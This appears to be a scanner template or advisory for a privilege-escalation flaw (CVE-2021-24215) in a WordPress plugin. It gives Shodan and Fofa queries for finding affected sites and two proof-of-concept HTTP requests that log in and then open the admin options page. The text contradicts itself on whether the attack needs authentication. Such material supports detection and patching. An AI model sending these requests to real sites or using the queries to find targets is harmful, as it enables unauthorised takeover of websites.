| Title | Controlled Admin Access WordPress Plugin <= 1.4.0 - Improper Access Control & Privilege Escalation |
|---|---|
| Author | r3Y3r53 |
| Severity | Critical |
| Impact | Unauthenticated attackers can access sensitive WordPress customization functionality and global CMS settings, potentially leading to complete site compromise through uncontrolled access to configuration endpoints. |
| Remediation | Fixed in version 1.5.2 |
| CVSS Score | 9.8 |
| EPSS Score | 0.37383 |
| CVE ID | CVE-2021-24215 |
| CWE ID | CWE-425,CWE-284 |
| Shodan Query | http.html:/wp-content/plugins/controlled-admin-access/ |
| Fofa Query | body=/wp-content/plugins/controlled-admin-access/ |
| Tags | cve2021 cve authenticated wpscan wordpress wp-plugin wp controlled-admin-access wpruby vuln |
An Improper Access Control vulnerability was discovered in the plugin. Uncontrolled access to the website customization functionality and global CMS settings, like /wp-admin/customization.php and /wp-admin/options.php, can lead to a complete compromise of the target resource.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=8XDoqm&pwd=gwW4sK&wp-submit=Log+In
GET /wp-admin/options.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
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